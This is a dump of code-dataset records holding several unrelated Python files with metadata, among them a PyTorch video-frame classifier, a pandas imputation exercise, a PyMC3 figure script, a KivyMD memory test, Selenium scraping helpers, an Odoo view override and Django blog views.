"vnc_api.gen.resource_client.AnalyticsNode", "line_number": 735, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_client.AnalyticsNode", "line_number": 756, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_client.ConfigNode", "line_number": 818, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_client.ConfigNode", "line_number": 839, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_xsd.AddressFamilies", "line_number": 903, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_xsd.BgpSessionAttributes", "line_number": 905, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_xsd.BgpSession", "line_number": 906, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_xsd.BgpPeeringAttributes", "line_number": 907, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_xsd.BgpRouterParams", "line_number": 917, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_client.BgpRouter", "line_number": 931, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_client.BgpRouter", "line_number": 951, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_client.DatabaseNode", "line_number": 1015, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_client.DatabaseNode", "line_number": 1036, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.LinklocalServiceEntryType", "line_number": 1120, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.LinklocalServicesTypes", "line_number": 1132, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.GlobalVrouterConfig", "line_number": 1133, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.GlobalVrouterConfig", "line_number": 1158, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.GlobalVrouterConfig", "line_number": 1200, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.VirtualMachineInterface", "line_number": 1256, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.MacAddressesType", "line_number": 1259, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.InstanceIp", "line_number": 1278, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api", "line_number": 1278, "usage_type": "name"}, {"api_name": "vnc_api.vnc_api.ServiceApplianceSet", "line_number": 1388, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.KeyValuePairs", "line_number": 1391, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.KeyValuePair", "line_number": 1393, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.ServiceApplianceSet", "line_number": 1425, "usage_type": "call"}]} +{"seq_id": "241147382", "text": "import argparse\nimport torch\nimport pickle\nimport cv2\nimport csv\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.autograd import Variable\nfrom torchvision import transforms\nfrom tqdm import tqdm\nfrom PIL import Image\n\nimport numpy as np\n\ndef get_model(model_weights, use_gpu):\n if use_gpu:\n model = torch.load(model_weights, pickle_module=pickle)\n else:\n model = torch.load(model_weights, map_location=lambda storage, loc: storage, pickle_module=pickle)\n\n for param in model.parameters():\n param.requires_grad = False\n print(\"Loading model from {}\".format(model_weights))\n return model\n\nclass SceneDatasetVideo(Dataset):\n def __init__(self, video_file, transform=None):\n self.video_capture = cv2.VideoCapture(video_file)\n ret, cv_read_image = self.video_capture.read()\n\n cv2_im = cv2.cvtColor(cv_read_image, cv2.COLOR_BGR2RGB)\n image = Image.fromarray(cv2_im)\n self.img_size = image.size\n\n self.transform = transforms.Compose([\n transforms.RandomSizedCrop(self.img_size),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]),\n ])\n\n\n def __len__(self):\n return int(self.video_capture.get(cv2.CAP_PROP_FRAME_COUNT))\n\n def get_next_frame_number(self):\n return self.video_capture.get(cv2.CAP_PROP_POS_FRAMES)\n\n def get_frame_size(self):\n return (self.video_capture.get(cv2.CAP_PROP_FRAME_WIDTH), self.video_capture.get(cv2.CAP_PROP_FRAME_HEIGHT))\n\n def __getitem__(self, idx):\n ret, cv_read_image = self.video_capture.read()\n\n cv2_im = cv2.cvtColor(cv_read_image, cv2.COLOR_BGR2RGB)\n image = Image.fromarray(cv2_im)\n\n if self.transform:\n image = self.transform(image)\n\n return image, self.get_next_frame_number()-1\n\n\ndef get_dataset(video_file):\n dataset_test = SceneDatasetVideo(video_file=video_file)\n return DataLoader(dataset_test, batch_size=batch_size, shuffle=False, num_workers=0)\n\ndef main():\n parser = argparse.ArgumentParser(description='PyTorch Training')\n parser.add_argument('--weights', type=str, help='Weights file')\n parser.add_argument('--video_file', type=str, help='Video file to predict')\n parser.add_argument('--output_file', default='output.csv', type=str, help='Output file')\n\n args = parser.parse_args()\n\n use_gpu = torch.cuda.is_available()\n\n print('Building Model')\n model = get_model(args.weights, use_gpu)\n\n\n video = SceneDatasetVideo(args.video_file)\n\n dataloader_test = get_dataset(args.video_file)\n\n results = []\n for data in tqdm(dataloader_test):\n\n inputs, img_ids = data\n\n if use_gpu:\n inputs = inputs.cuda()\n inputs = Variable(inputs)\n\n outputs = model(inputs)\n\n for img_id, prob in zip(img_ids, outputs.data):\n results += [[int(img_id.item()), np.argmax(prob.cpu()).item()]]\n\n if len(results) >= 1000:\n writecsv(args.output_file, results)\n results = []\n\n\ndef writecsv(outputfilename, data):\n with open(outputfilename, 'a') as writeFile:\n writer = csv.writer(writeFile)\n writer.writerows(data)\n\nif __name__ == \"__main__\":\n global batch_size\n batch_size = 16\n main()", "sub_path": "predict.py", "file_name": "predict.py", "file_ext": "py", "file_size_in_byte": 3369, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "torch.load", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.utils.data.Dataset", "line_number": 25, "usage_type": "name"}, {"api_name": "cv2.VideoCapture", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 30, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 31, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 31, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 34, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 34, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomSizedCrop", "line_number": 35, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 35, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 36, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 36, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 37, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 37, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 38, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 38, "usage_type": "name"}, {"api_name": "cv2.CAP_PROP_FRAME_COUNT", "line_number": 43, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_POS_FRAMES", "line_number": 46, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 49, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 49, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 54, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 55, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 55, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 65, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 75, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 97, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 106, "usage_type": "call"}]} +{"seq_id": "463054148", "text": "# %load q01_missing_value/build.py\n# Default imports\nimport pandas as pd\nfrom sklearn.preprocessing import Imputer\n# Data loading\nny_housing = pd.read_csv('data/train.csv')\n# Selecting 4 most relevant variables along with target variable from the dataset fot the Cleaning and Preprocessing.\nhousing_data = ny_housing[['MasVnrArea', 'GrLivArea', 'LotShape', 'GarageType', 'SalePrice']]\n\ndef imputation(df):\n numeric_features = [a for a in range(len(df.dtypes)) if df.dtypes[a] in ['int64','float64']]\n numeric_df = df.iloc[:, numeric_features]\n cat_features = df.columns.difference(df.columns[numeric_features])\n cat_df = df.loc[:,cat_features]\n numeric_imputer = Imputer(missing_values = 'NaN', strategy='mean')\n numeric_imputed_df = pd.DataFrame(numeric_imputer.fit_transform(numeric_df))\n numeric_imputed_df.columns = numeric_df.columns\n numeric_imputed_df.index = numeric_df.index\n for feature in cat_features:\n cat_df[feature] = cat_df[feature].fillna(cat_df[feature].mode()[0])\n return numeric_imputed_df, cat_df\n\n\n\n\n", "sub_path": "q01_missing_value/build.py", "file_name": "build.py", "file_ext": "py", "file_size_in_byte": 1059, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pandas.read_csv", "line_number": 6, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.Imputer", "line_number": 15, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "68807067", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.patheffects as mpe\nimport pandas as pd\n\nimport utils\nfrom scipy.special import logit\nfrom scipy.stats import norm\nfrom sklearn.metrics import precision_score, recall_score, roc_auc_score, label_ranking_average_precision_score\nfrom sklearn.metrics import label_ranking_loss, confusion_matrix, average_precision_score, auc, precision_recall_curve\n\nimport statsmodels.api as sm\nfrom statsmodels.distributions.empirical_distribution import ECDF\n\nfrom tqdm import tqdm\nfrom seaborn import kdeplot\nimport pymc3 as pm\n\n\n\n##Set plotting parameters:\nutils.set_mpl_params()\n\n##load up files:\nfname = './processed_data/graph_fp_comparison/df_before_trim.csv'\nbefore_trim = pd.read_csv(fname, index_col=0)\n\nfname = './processed_data/graph_fp_comparison/df_after_morgan_trim.csv'\nafter_morgan_trim = pd.read_csv(fname, index_col=0)\n\nfname = './processed_data/graph_fp_comparison/df_after_cats_trim.csv'\nafter_cats_trim = pd.read_csv(fname, index_col=0)\n\n\n##This function calculates the mean (or median if desired) of\n##the input data using MCMC (actually No-U-Turn-Sampling thru PyMC)\ndef calc_hpd(data, statistic=np.mean):\n with pm.Model() as model:\n #prior on statistic of interest:\n a = pm.Normal('a', mu=statistic(data), sigma=10.0)\n #'nuisance' parameter:\n b = pm.HalfNormal('b', sigma=10.0)\n \n #likelihood:\n if statistic==np.mean:\n y = pm.Normal('y', mu = a, sigma = b, observed=data)\n elif statistic==np.median:\n y = pm.Laplace('y', mu = a, b = b, observed=data)\n trace = pm.sample(draws=1000, tune=500, chains=2, target_accept=0.9)\n return trace\n\n\n##get the MCMC samples of log(cats_ap / morgan_ap)\ntr = calc_hpd(np.log(after_cats_trim['ap_cats'] / after_morgan_trim['ap_morgan']))\n\n\n\nfig, ax = plt.subplots(2,2)\nfig.set_figwidth(13)\nfig.set_figheight(10)\n\n\nhpd = np.exp(pm.hpd(tr['a']))\n\n\n#plot AVE scores KDEs:\nmu_morgan, sigma_morgan = norm.fit(after_morgan_trim['ave_morgan'])\nmu_cats, sigma_cats = norm.fit(after_cats_trim['ave_cats'])\nkdeplot(before_trim['ave_morgan'], ax=ax[0,0], label='AVE$_{Morgan}$,\\nbefore debiasing', linestyle='--', c='C0')\nkdeplot(before_trim['ave_cats'], ax=ax[0,0], label='AVE$_{CATS}$,\\nbefore debiasing', linestyle='--', c='C1')\nkdeplot(after_morgan_trim['ave_morgan'], ax=ax[0,0], linestyle='-', c='C0',\n label='AVE$_{Morgan}$, \\nμ='+str(np.around(mu_morgan,3))+', σ='+str(np.around(sigma_morgan,3)))\nkdeplot(after_cats_trim['ave_cats'], ax=ax[0,0], linestyle='-', c='C1',\n label='AVE$_{CATS}$, \\nμ='+str(np.around(mu_cats,3))+', σ='+str(np.around(sigma_cats,3)))\nax[0,0].set_ylabel('Density')\nax[0,0].set_title('AVE after debiasing')\nutils.plot_fig_label(ax[0,0], 'A.')\nax[0,0].legend(loc='lower left', prop={'size': 12})\n\n\n#plot AVE vs AP:\nax[0,1].scatter(after_morgan_trim['ave_morgan'], after_morgan_trim['ap_morgan'], \n c='C0', label='Morgan', zorder=0, alpha=0.85)\nax[0,1].scatter(after_cats_trim['ave_cats'], after_cats_trim['ap_cats'], \n c='C1', label='CATS',zorder=1, alpha=0.65)\nax[0,1].axvline(0, linestyle='--', c='k')\nax[0,1].set_ylabel('Average Precision (AP)')\nax[0,1].legend()\nax[0,1].set_title('Bias - performance relationship')\nutils.plot_fig_label(ax[0,1], 'B.')\n\n\n#plot one-tailed estimate:\nZ = np.exp(tr['a'])\n#Z = tr['a']\nN = len(Z)\nH,X1 = np.histogram( Z, bins = 3000, density=True)\ndx = X1[1] - X1[0]\nF1 = np.cumsum(H)*dx\n\nprint('Probability that CATS performs better than Morgan is:')\nprint((1-F1)[X1[1:]>1][0])\nax[1,0].plot(X1[1:], 1-F1, c='C5')\nax[1,0].axvline(1, c='k', linestyle='--',)\nax[1,0].set_ylabel('Probability')\nax[1,0].set_xlabel('$\\dfrac{AP_{CATS}}{AP_{Morgan}}$')\nax[1,0].set_title('Probability of CATS vs Morgan performance')\nutils.plot_fig_label(ax[1,0], 'C.')\n\n#plot two-tailed estimate:\nkdeplot(np.exp(tr['a']), ax=ax[1,1], c='C5')\n#kdeplot(tr['a'], ax=ax[1,1], c='C5')\nax[1,1].plot([hpd[0],hpd[1]],[0,0],'-o', c='C5', label='95% credible region')\nprint('The maximum a posteriori for performance improvement is:')\nprint(np.exp(tr['a'].mean()))\nprint('And the range of performance improvement is:')\nprint([hpd[0],hpd[1]])\n#ax[1,1].scatter(tr['a'].mean(), 0, s= 300, facecolor='white',zorder=10,edgecolor='C5')\nax[1,1].scatter(np.exp(tr['a'].mean()), 0, s= 300, facecolor='white',zorder=10,edgecolor='C5')\nax[1,1].set_xlabel('$\\dfrac{AP_{CATS}}{AP_{Morgan}}$')\nax[1,1].set_ylabel('Density')\nax[1,1].set_title('Estimated CATS vs Morgan performance')\nax[1,1].legend()\nutils.plot_fig_label(ax[1,1], 'D.')\n\nfor a in ax.flatten():\n a.grid()\n# #a.axvline(l, linestyle='--', c='k')\n# #a.legend()\n\n \nax[1,0].axvline(1, linestyle='--', c='k')\nax[1,1].axvline(1, linestyle='--', c='k')\nax[0,0].axvline(0, linestyle='--', c='k')\nax[0,0].set_xlabel('AVE')\nax[0,1].set_xlabel('AVE')\n\n\nfig.savefig('./processed_data/graph_fp_comparison/comparison.png')\n", "sub_path": "code/graph_fp_comparison_figures.py", "file_name": "graph_fp_comparison_figures.py", "file_ext": "py", "file_size_in_byte": 4937, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "utils.set_mpl_params", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pymc3.Model", "line_number": 38, "usage_type": "call"}, {"api_name": "pymc3.Normal", "line_number": 40, "usage_type": "call"}, {"api_name": "pymc3.HalfNormal", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pymc3.Normal", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pymc3.Laplace", "line_number": 48, "usage_type": "call"}, {"api_name": "pymc3.sample", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 63, "usage_type": "call"}, {"api_name": "pymc3.hpd", "line_number": 63, "usage_type": "call"}, {"api_name": "scipy.stats.norm.fit", "line_number": 67, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 67, "usage_type": "name"}, {"api_name": "scipy.stats.norm.fit", "line_number": 68, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 68, "usage_type": "name"}, {"api_name": "seaborn.kdeplot", "line_number": 69, "usage_type": "call"}, {"api_name": "seaborn.kdeplot", "line_number": 70, "usage_type": "call"}, {"api_name": "seaborn.kdeplot", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 72, "usage_type": "call"}, {"api_name": "seaborn.kdeplot", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 74, "usage_type": "call"}, {"api_name": "utils.plot_fig_label", "line_number": 77, "usage_type": "call"}, {"api_name": "utils.plot_fig_label", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 99, "usage_type": "call"}, {"api_name": "utils.plot_fig_label", "line_number": 108, "usage_type": "call"}, {"api_name": "seaborn.kdeplot", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 119, "usage_type": "call"}, {"api_name": "utils.plot_fig_label", "line_number": 124, "usage_type": "call"}]} +{"seq_id": "443190828", "text": "from kivy.clock import Clock\n\nfrom kivymd.app import MDApp\nfrom kivymd.uix.screen import MDScreen\nfrom kivymd.uix.textfield import MDTextField\n\nlen_callbacks = 0\n\n\nclass MyScreen(MDScreen):\n def remove_widget(self, *args, **kwargs) -> None:\n global len_callbacks\n\n super().remove_widget(*args, **kwargs)\n len_callbacks = len(\n self.theme_cls.get_property_observers(\"theme_style\")\n )\n\n\nclass TestTextFieldMemoryLeak(MDApp):\n counter = 0\n previous_len_callbacks = 0\n\n def build(self):\n Clock.schedule_interval(self.add_items, 0.5)\n return MyScreen()\n\n def add_items(self, *args):\n if len_callbacks:\n self.previous_len_callbacks = len_callbacks\n\n self.counter += 1\n self.root.clear_widgets()\n self.root.add_widget(MDTextField(text=f\"Count {self.counter}\"))\n\n if self.counter > 10:\n Clock.unschedule(self.add_items)\n assert len_callbacks == self.previous_len_callbacks\n self.stop()\n\n\nTestTextFieldMemoryLeak().run()\n", "sub_path": "kivymd/tests/memory/test_textfield.py", "file_name": "test_textfield.py", "file_ext": "py", "file_size_in_byte": 1059, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "kivymd.uix.screen.MDScreen", "line_number": 10, "usage_type": "name"}, {"api_name": "kivymd.app.MDApp", "line_number": 20, "usage_type": "name"}, {"api_name": "kivy.clock.Clock.schedule_interval", "line_number": 25, "usage_type": "call"}, {"api_name": "kivy.clock.Clock", "line_number": 25, "usage_type": "name"}, {"api_name": "kivymd.uix.textfield.MDTextField", "line_number": 34, "usage_type": "call"}, {"api_name": "kivy.clock.Clock.unschedule", "line_number": 37, "usage_type": "call"}, {"api_name": "kivy.clock.Clock", "line_number": 37, "usage_type": "name"}]} +{"seq_id": "274436326", "text": "#!/usr/bin/python\n#-*- coding: utf-8 -*-\nimport requests,re,time\nfrom Selenium2Library import Selenium2Library\n\nclass ExploreWeb(object):\n def __init__(self):\n self._web = Selenium2Library()\n self._http = requests.session()\n\n def open_url( self, url, check_title=None, browser='ff' ):\n \"\"\"\n 功能：\\n\n 使用selenium2Library库,调用浏览器，访问url，并比对title信息;\n 参数：\\n\n | 1 | url | 格式 http://xxxxx 或https://xxxxx |\n | 2 | check_title | check url返回的title , |\n | 3 | browser | 浏览器类型,ff :firefox ,ie: IExplorer, chrome: google chrome |\n 返回：\\n\n 访问失败，抛出断言异常；\n 示例：\\n\n | CommLib.open_browser | 'http://www.baidu.com' | check_title=\"百渡一下，你就知道\" | browser=ie |\n \"\"\"\n\n res_title = None\n try:\n self._web.open_browser( url, browser=browser )\n time.sleep( 5 )\n res_title = self._web.get_title()\n print (res_title)\n if res_title is not None:\n # pattern = check_title\n # res = re.search(pattern,res_title.deode('utf-8'),re.I | re.M)\n # if pattern == res_title:\n print(\"open url {} success by Seleniu2Library and browser {},get title is {} .\".format( url, browser,res_title ))\n else:\n raise Exception( \"open url {} failed by Selenum2Libray,the title is {}!\".format( url, res_title ) )\n except Exception as e:\n raise Exception( \"open url {} failed by Selenum2Libray.\".format( url) )\n finally:\n self._web.close_browser()\n\n\n def open_baidu( self, browser='firefox' ):\n \"\"\"\n 功能：\\n\n 使用selenium2Library库,调用浏览器，访问url，并比对title信息;\n 参数：\\n\n | 1 | browser | 浏览器类型,ff :firefox ,ie: IExplorer, chrome: google chrome |\n 返回：\\n\n 访问失败，抛出断言异常；\n 示例：\\n\n | CommLib.open_baidu | browser=ie |\n \"\"\"\n url = \"https://www.baidu.com\"\n title = \"百度一下，你就知道\"\n self.open_url( url, check_title=title, browser=browser )\n\n\n def open_url_by_requests( self, url, patten=None ):\n \"\"\"\n :param url:\n :param patten:\n :return:\n \"\"\"\n try:\n headers = {\n 'User-Agent': \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0\",\n 'Referer': \"http://192.168.1.1/login.html\",\n 'Accept': \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n 'Accept-Language': \"Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\",\n 'Accept-Encoding': \"gzip, deflate\" }\n try_ = 0\n for i in range( 3 ):\n res = requests.get( url, headers=headers )\n print(res.url)\n if res.status_code == 200:\n print(\"***open url {} success!!!***\".format( url ))\n break\n else:\n try_ = try_ + 1\n print (\"try {} : open url {}\".format( try_, url ))\n if try_ == 3:\n raise Exception( \"try open url {} 3 times ,still failed!!\".format( url ) )\n txt = res.text\n if patten is not None:\n matchObj = re.search( patten, txt, re.I | re.S | re.M )\n if matchObj:\n return matchObj.group( 1 )\n else:\n raise Exception( \"open url success,but search patten:{} failed!\".format( patten ) )\n except Exception as e:\n raise Exception( \"open url:{} failed!\".format( url ), e )", "sub_path": "NetIFLib/_ExploreWeb.py", "file_name": "_ExploreWeb.py", "file_ext": "py", "file_size_in_byte": 3873, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "Selenium2Library.Selenium2Library", "line_number": 8, "usage_type": "call"}, {"api_name": "requests.session", "line_number": 9, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 75, "usage_type": "call"}, {"api_name": "re.search", "line_number": 87, "usage_type": "call"}, {"api_name": "re.I", "line_number": 87, "usage_type": "attribute"}, {"api_name": "re.S", "line_number": 87, "usage_type": "attribute"}, {"api_name": "re.M", "line_number": 87, "usage_type": "attribute"}]} +{"seq_id": "19199721", "text": "# -*- coding: utf-8 -*-\n# © 2016 Comunitea\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).\n\nfrom lxml import etree\nfrom openerp import models, fields, api, exceptions, _\n\n\nclass ResPartner(models.Model):\n\n _inherit = 'res.partner'\n\n def fields_view_get(self, cr, uid, view_id=None, view_type='form',\n context=None, toolbar=False, submenu=False):\n res = super(ResPartner, self).\\\n fields_view_get(cr, uid, view_id=view_id, view_type=view_type,\n context=context, toolbar=toolbar, submenu=submenu)\n no_create = context.get('no_create', False)\n update = (no_create and view_type in ['form', 'tree']) or False\n if update:\n doc = etree.XML(res['arch'])\n if no_create:\n for t in doc.xpath(\"//\"+view_type):\n t.attrib['create'] = 'false'\n res['arch'] = etree.tostring(doc)\n no_unlink = context.get('no_unlink', False)\n update = (no_unlink and view_type in ['form', 'tree']) or False\n if update:\n doc = etree.XML(res['arch'])\n if no_unlink:\n for t in doc.xpath(\"//\"+view_type):\n t.attrib['delete'] = 'false'\n res['arch'] = etree.tostring(doc)\n\n return res\n", "sub_path": "project-addons/custom_menu/models/res_partner.py", "file_name": "res_partner.py", "file_ext": "py", "file_size_in_byte": 1320, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "openerp.models.Model", "line_number": 9, "usage_type": "attribute"}, {"api_name": "openerp.models", "line_number": 9, "usage_type": "name"}, {"api_name": "lxml.etree.XML", "line_number": 21, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 21, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 25, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 25, "usage_type": "name"}, {"api_name": "lxml.etree.XML", "line_number": 29, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 29, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 33, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 33, "usage_type": "name"}]} +{"seq_id": "202346239", "text": "'''\nWatch 2 videoa\nPart 1 -> https://www.youtube.com/watch?v=vcnomT0CP0Y\nPart 2 -> https://www.youtube.com/watch?v=-yVNqaxejVg\n\n'''\nimport os\nimport requests\nimport shutil\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nimport time\n\n# url = 'https://www.chrisburkard.com/'\n# url = 'https://chrisburkardshop.com/'\nurl = 'https://www.chrisburkard.com/Shop/Best-Sellers/'\n\nchromedriver = os.path.join(os.getcwd(), 'chromedriver')\nbrowser = webdriver.Chrome(chromedriver)\nbrowser.get(url)\n\niterations = 0\nwhile iterations < 5:\n print('='.center(20, '='))\n print('Iteration', iterations, 'starts')\n print('='.center(20, '='))\n\n html = browser.execute_script('return document.documentElement.outerHTML ')\n # print(html)\n seleniumSoup = BeautifulSoup(html, 'html.parser')\n # print(seleniumSoup)\n # print(seleniumSoup.find_all('img'))\n # print(len(seleniumSoup.find_all('img')))\n\n images = []\n for img in seleniumSoup.find_all('img'):\n # print(img)\n # print(dir(img)) # shows us BeautifulSoup classes\n src = img['src'] # get dictionary value -> 'src' is a key\n images.append(src)\n # print(images)\n\n # time.sleep(20)\n current_path = os.getcwd()\n # print(current_path)\n for img in images:\n try:\n file_name = os.path.basename(img)\n # print(file_name)\n img_respond = requests.get(img, stream=True)\n new_path = os.path.join(current_path, 'img', file_name)\n print(new_path)\n with open(new_path, 'wb') as output_file:\n shutil.copyfileobj(img_respond.raw, output_file)\n del img_respond\n except:\n pass\n\n iterations += 1\n time.sleep(5)\n\nbrowser.quit()\n\n\n\n", "sub_path": "selenium_scraping/js_scrape.py", "file_name": "js_scrape.py", "file_ext": "py", "file_size_in_byte": 1749, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 18, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 19, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 19, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 30, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "shutil.copyfileobj", "line_number": 54, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 60, "usage_type": "call"}]} +{"seq_id": "411572105", "text": "from django.core.exceptions import ObjectDoesNotExist\nfrom django.core.paginator import Paginator\nfrom django.http import Http404\nfrom django.shortcuts import render\n\nfrom .models import *\n\n\ndef index(request):\n \"\"\"\n List all posts.\n\n Query param =>\n category: (int) ID of category.\n \"\"\"\n post_filters = {'public_post': True}\n if request.GET.get('category'):\n post_filters['category'] = request.GET['category']\n post_list = Post.objects.filter(**post_filters).order_by('-created')\n\n page = request.GET.get('page', 1)\n context = {\n 'post_filters': post_filters,\n 'posts': Paginator(post_list, 20).get_page(page),\n }\n\n return render(request, 'blog/index.html', context)\n\n\ndef post(request, pk):\n \"\"\"\n Get a post.\n \"\"\"\n try:\n post_item = Post.objects.get(id=pk)\n except ObjectDoesNotExist:\n raise Http404()\n\n if not post_item.public_post:\n raise Http404()\n\n # Increment hit count for first visit (by s ession)\n hit_key = f\"hit-post-{post_item.id}\"\n if hit_key not in request.session:\n post_item.hitcount += 1\n post_item.save()\n\n request.session[hit_key] = 1\n\n context = {\n 'post': post_item\n }\n\n return render(request, 'blog/post.html', context)\n", "sub_path": "blog/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1287, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": 